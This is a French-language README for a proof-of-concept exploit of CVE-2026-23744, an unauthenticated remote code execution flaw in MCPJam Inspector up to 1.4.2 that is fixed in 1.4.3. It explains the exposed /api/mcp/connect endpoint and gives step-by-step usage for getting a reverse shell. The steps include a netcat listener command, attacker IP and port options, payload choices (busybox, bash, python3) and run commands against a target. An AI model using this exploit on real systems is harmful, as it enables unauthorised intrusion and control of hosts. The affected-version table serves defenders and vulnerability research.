CVE-2026-23744 — Preuve de concept d'exploit pour une vulnérabilité d'exécution de code à distance non authentifiée dans MCPJam Inspector <= 1.4.2.
MCPJam Inspector <= 1.4.2 s'associe à 0.0.0.0 par défaut et expose /api/mcp/connect sans aucune authentification. Le point de terminaison accepte un objet serverConfig qui lance un processus directement sur l'hôte — en transmettant une charge utile de reverse shell, on obtient une RCE immédiate sans aucun identifiant requis.
pip install requests
python3 exploit.py -u <target_url> -i <lhost> -p <lport> [-m <method>]
| Option | Description | Par défaut |
|---|---|---|
-u | URL cible | requis |
-i | Votre IP d'écoute (LHOST) | requis |
-p | Votre port d'écoute (LPORT) | requis |
-m | Méthode de charge utile : busybox, bash, python3 | busybox |
Étape 1 — Démarrer votre écoute :
nc -lvnp 4444
Étape 2 — Lancer l'exploit :
# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash
Si busybox ne fonctionne pas sur la cible, essayez les autres méthodes :
# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash
| Logiciel | Vulnérable | Corrigé |
|---|---|---|
| MCPJam Inspector | <= 1.4.2 | 1.4.3 |